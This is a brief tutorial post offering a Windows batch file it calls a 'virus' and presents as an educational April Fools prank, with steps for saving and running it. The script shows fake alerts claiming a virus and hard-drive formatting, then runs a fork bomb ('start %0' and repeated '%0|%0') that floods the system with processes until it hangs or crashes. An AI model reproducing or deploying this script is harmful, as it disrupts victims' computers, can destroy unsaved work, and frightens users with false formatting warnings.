Make virus in computer system

This code for education purpose
copy this code in notepad then pase to notepad and save .bat file


@echo off

msg * Warning your computer has detected a virus.

msg * To remove the virus click OK or close this box

msg * Your Hard drives are now being formatted

msg * Please wait ...........

msg * APRIL FOOLS

@echo off

start %0

%0|%0

%0|%0

%0|%0

%0|%0

%0|%0

%0|%0

%0|%0

%0|%0

%0|%0

%0|%0

%0|%0

%0|%0

%0|%0

%0|%0

%0|%0

%0|%0

goto start